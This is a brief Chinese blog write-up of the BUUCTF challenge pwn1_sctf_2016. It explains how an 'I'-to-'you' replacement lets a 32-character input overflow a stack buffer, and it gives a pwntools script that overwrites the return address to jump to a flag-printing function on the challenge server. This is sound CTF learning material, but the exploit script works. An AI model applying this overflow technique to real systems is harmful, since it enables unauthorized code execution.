week1 T5


T5 pwn1_sctf_2016

2023-01-09WP
BUUCTF pwn第五题

0x01

file checksec——32-bit,开启NX

0x02

IDA中shift+f12可以找到有个cat flag.txt

可以利用这个函数来输出flag
查看调用它的函数并记下它的地址0x8048F0D

继续寻找能够溢出的函数,在main函数中的vuln函数里有fget()函数

但是fget函数限制了输入长度为32,好像并不能构成栈溢出
于是我就蒙了,fget后面的伪代码又不是看得很懂……
查了许多大概理解了是后面的replace函数将一个字节的i换成了三个字节的you
这样一来我们只需要输入20个‘I’,replace后就会变成60个字节的‘you’,这样就能填满长度为0x3Ch的s
payload再覆盖掉ebp再加上get_flag函数的地址就可以了
最后看大佬博客半懂半不懂地写了个exp
(这篇博客感觉算是比较详细的,它甚至是直接分析汇编语言)

0x03

exp

from pwn import *
p = remote('node4.buuoj.cn', 28105)
flag_addre = 0x08048F0D
payload = b'I'*0x14+b'aaaa'+p32(flag_addre)
p.sendline(payload)
p.interactive()

0x04

还是不是很懂到底是怎么看出来是把i换成you的
还有就是这个replace函数的参数列表中那个v4代表的是什么

并没有在v4这里写入i或者you呀,这猜都不好猜是把i换成you了
直接点进去看replace的源码好像又不科学,根本看不懂……
补充:C++的伪代码就是比较难看,不能只看IDA了,要结合gdb调试去猜i换成you的替换


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录